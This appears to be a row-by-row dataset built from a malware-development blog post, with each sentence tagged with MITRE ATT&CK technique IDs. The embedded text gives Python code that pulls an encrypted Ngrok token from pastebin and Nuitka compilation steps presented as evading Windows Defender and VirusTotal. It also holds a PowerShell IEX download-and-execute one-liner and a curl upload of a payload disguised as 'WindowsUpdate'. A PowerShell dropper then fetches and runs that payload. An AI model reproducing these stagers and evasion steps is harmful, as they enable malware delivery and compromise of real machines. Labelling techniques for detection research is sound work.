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Fernet is a symmetric encryption algorithm and token format used for secure communication and data protection. | [
"T1573.001"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It is a part of the cryptography library in Python called “cryptography.” | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It utilizes symmetric key cryptography, where the same secret key is used for both encryption and decryption. | [
"T1573.001"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It ensures confidentiality and integrity of data by combining encryption with a message authentication code (MAC). | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The Fernet token format includes the encrypted data and a timestamp to prevent tampering. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It provides a straightforward and secure way to encrypt and authenticate data, making it suitable for various applications that require secure communication and storage. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
def fernet_decrypt(encrypted_string, password): """Decrypt Ngrok AUTH Token""" try: key = generate_key_from_password(password) cipher = Fernet(key) decrypted_message = cipher.decrypt(encrypted_string) return decrypted_message.decode() except: exit('[-] | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Error: Could not decrypt AUTH Token') def get_auth_token(): """Get AUTH Token from third party service""" try: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
url = "https://pastebin.com/raw/YYYYYY" r = requests.get(url) if r.status_code == 200: password_for_decrypt = 'P4ssw0rd!' | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
crypted_data = r.text.strip('\n') return fernet_decrypt(crypted_data, password_for_decrypt) elif r.status_code == 404: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
# Here we could insert a request to a canary token to be notified of the event if the file is not found # - for persistence purpose - exit() # So Long, and Thanks for All the Fish! | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Error: Could not get AUTH Token') | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The provided code includes two functions: fernet_decrypt and get_auth_token. | [
"T1140"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The fernet_decrypt function decrypts an encrypted string representing the Ngrok AUTH Token using a harcoded password. | [
"T1140"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It returns the decrypted message as a decoded string. | [
"T1140"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The get_auth_token function retrieves the AUTH Token from a third-party service, in this example pastebin. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It checks the response status code and proceeds accordingly. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
If the response is successful, it use the harcoded password for decryption using the fernet_decrypt function, and returns the decrypted AUTH Token. | [
"T1140"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
If the response status code is 404, we can say attack is concluded and we could insert a potential a canary token for notification purposes . | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
These examples provide ideas and possibilities, showcasing how attackers can leverage High-Level languages like Python to weaponize and elevate the capabilities of their malware. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Check full project of custom MaccaroniC2 server at: https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py Prepararing Cannons: Nuitka in action Python Nuitka is a specialized compiler for Python. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It’s designed to convert Python code into highly optimized C/C++ code, which is then compiled into native machine code. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The resulting executable can be distributed and executed without requiring the Python interpreter to be installed on the target system. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
When it comes to compiling malware, Nuitka offers some potential advantages over other Python compilers such as PyInstaller or Py2exe: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Performance: Nuitka Compiler aims to generate highly optimized C/C++ code, which can result in improved performance compared to interpreted Python code. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This can be advantageous for malware authors who want their malicious code to execute more efficiently and quickly. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Reduced Dependencies: By compiling Python code into standalone executables, Nuitka Compiler eliminates the need for the target system to have a Python interpreter installed. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This can make the malware distribution easier and less reliant on specific Python versions or configurations. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Code Protection: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Nuitka Compiler employs various optimization techniques and obfuscation mechanisms during the compilation process. | [
"T1027"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This can make the resulting executable more challenging to reverse-engineer and analyze, adding an extra layer of protection for the malware. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Detection Evasion: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
As Nuitka Compiler generates native machine code, it can potentially evade certain signature-based detection methods used by security tools that primarily focus on detecting interpreted Python scripts. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This may offer a limited advantage in evading detection by some antivirus or security solutions. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Installation and compilation is straightforward: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
python -m pip install nuitka python | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
-m nuitka --standalone --onefile maccaronic2_server.py Our newly generate PE file is ready to go. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
We can proceed to test this under the presence of Windows Defender, ensuring that all settings, including Cloud Protection and Antitamper modes are enabled. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This will allow us to evaluate the effectiveness of our malware in evading the defensive measures implemented by Windows Defender. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Nice ! | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In the absence of advanced evasion techniques such as binders, packers, and crypters, our ‘malware’ effectively bypasses Windows Defender without relying on complex obfuscation methods. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Let’s try on VirusTotal Not bad ! | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
While some vendors were able to spot the malware itself, they seemed to focus on detecting the use of the Nuitka compiler. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Recognizing this pattern, i realized that by making targeted modifications to the Nuitka compiler code, we could potentially achieve 100% FUD (Fully Undetected) obfuscation. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
However, it is crucial to remember that this approach requires a deep understanding of both malware detection techniques employed by antiviruses. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It also demands continuous research and adaptation as antivirus technologies evolve. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This just opens up new possibilities for evading detection, when using Python to develop malware. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It should be noted anyway in the world of real malware development, seasoned and skilled adversaries often turn to programming languages such as C and C++ to craft their malicious creations at a lower level. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
While higher-level languages like Python offer ease of use and rapid development, the power and control provided by lower-level languages are paramount in the realm of sophisticated malware: one of the primary reasons for choosing C and C++ is the level of control they provide over system resources and hardware. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
These languages allow direct memory manipulation, access to system APIs, and the ability to write efficient and optimized code. | [
"T1106"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This level of control enables malware developers to create stealthy, complex, and tailored malicious functionalities that can evade detection and exploit vulnerabilities in the targeted environment. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Windows Shortcut (LNK) “Weaponize” is a term that refers to the first phase of the kill chain and it is categorized as the Build Capabilities technique under Resource Development tactic of the MITRE ATT&CK framework. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Building capabilities consist of creating custom payloads, post-compromise and remote access tool development, creating infected removable media, and similar techniques. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The goal is to create and deliver the first payload to the target according to the environment. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Several tools are available to create an initial payload, such as a self-extracting archive (SFX). | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
A classic technique used mostly by Advanced Persistent Threat (APT) groups is the use of LNK files when delivering malware: shortcut files that point to other files. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
These files have been used as an attack vector as early as 2013. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
For example, the APT group Gamaredon has put LNK files to work, including a campaign that started in August 2022 against organizations in Ukraine. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Attackers are using LNK files to download malware or other malicious files by leveraging legitimate native apps, such as PowerShell. | [
"T1105"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
For instance, this is a PowerShell one-liner that can be used to download and execute a remote .ps1 or .exe file: powershell "IEX(New-Object Net. | [
"T1105"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
WebClient).downloadString('http://IP:PORT/malicious.ps1')" The .ps1 file could be a simple stager download of an .exe file and its execution. | [
"T1105"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This is a clever technique that has been used for years, including in the Stuxnet attacks that were first uncovered in 2010. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It’s an effective technique because it exploits a fundamental feature of Windows, which is to automatically launch executables using the metadata stored in the LNK file. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The .ps1 file can also be a complex script that can also achieve persistence with more functionalities. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Some attackers go even further by appending the stager to the LNK file. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In this case, the PowerShell one-liner will find, decrypt, and execute code appended to the original file. | [
"T1140"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Lastly, this will run a series of “stagers” with the object to delivery the final malware inside the victim’s computer. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
An ounce of practice is worth more than tons of preaching Gandhi After theory, comes practice! | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
One Shot, One Kill – Upload PE File Before start coding the .ps1 stager, we need to upload the PE file build early, using transfersh.com: curl -H "Max-Downloads: 1" -H "Max-Days: 5" --upload-file ./final_server.exe | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
https://transfersh.com/WindowsUpdate Output: https://transfersh.com/XXXXXXXX/WindowsUpdate After one download the file will be deleted and link will returns a 404 error. | [
"T1070.004"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
We can choose also how many days the file be stored. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Powershell Stager / Dropper $down = New-Object System. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Net. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
WebClient $url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' $file = | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $down. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
DownloadFile($url, $file) $exec = New-Object -ComObject shell.application $exec. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
ShellExecute($file) | [
"T1059.003"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This is a simple PowerShell script that downloads a file from a fixed location and executes it. | [
"T1105"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Here’s what each line does: $down = New-Object System. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
WebClient | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This line creates a new WebClient object and assigns it to the variable $down. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The WebClient class provides common methods for sending data to and receiving data from a resource identified by a URI. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
$url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' This line sets the value of the $url variable to the URL of the file to be downloaded. | [
"T1105"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This line uses the Combine method of the Path class to combine the temporary folder path (retrieved using the GetTempPath method) with the file name ‘WindowsUpdate.exe’. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The resulting path is assigned to the $file variable. $down. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
DownloadFile($url, $file) | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This line uses the DownloadFile method of the WebClient object to download the file from the specified URL and save it to the specified local file path. | [
"T1105"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
$exec = New-Object -ComObject shell.application This line creates a new Shell. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Application COM object and assigns it to the $exec variable. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The Shell. | [
"T1059.003"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Application object provides methods for working with the Windows shell. | [
"T1059.003"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
$exec. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This line uses the ShellExecute method of the Shell. | [
"T1059.003"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Application object to execute the downloaded file. | [
"T1059.003"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
But we want more. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It’s important to note that we have previously configured the Max-Download parameter to a one-shot only download. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In addition to the previous modifications, we now aim to keep track of every attempt to execute our stager after the initial compromise: whenever a 404 error is detected, indicating that the file is no longer available on the server, we’ll request a URL using canarytokens.org As said early this serves as a signal to lo... | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Powershell Stager with trigger $down = New-Object System. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $request = | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
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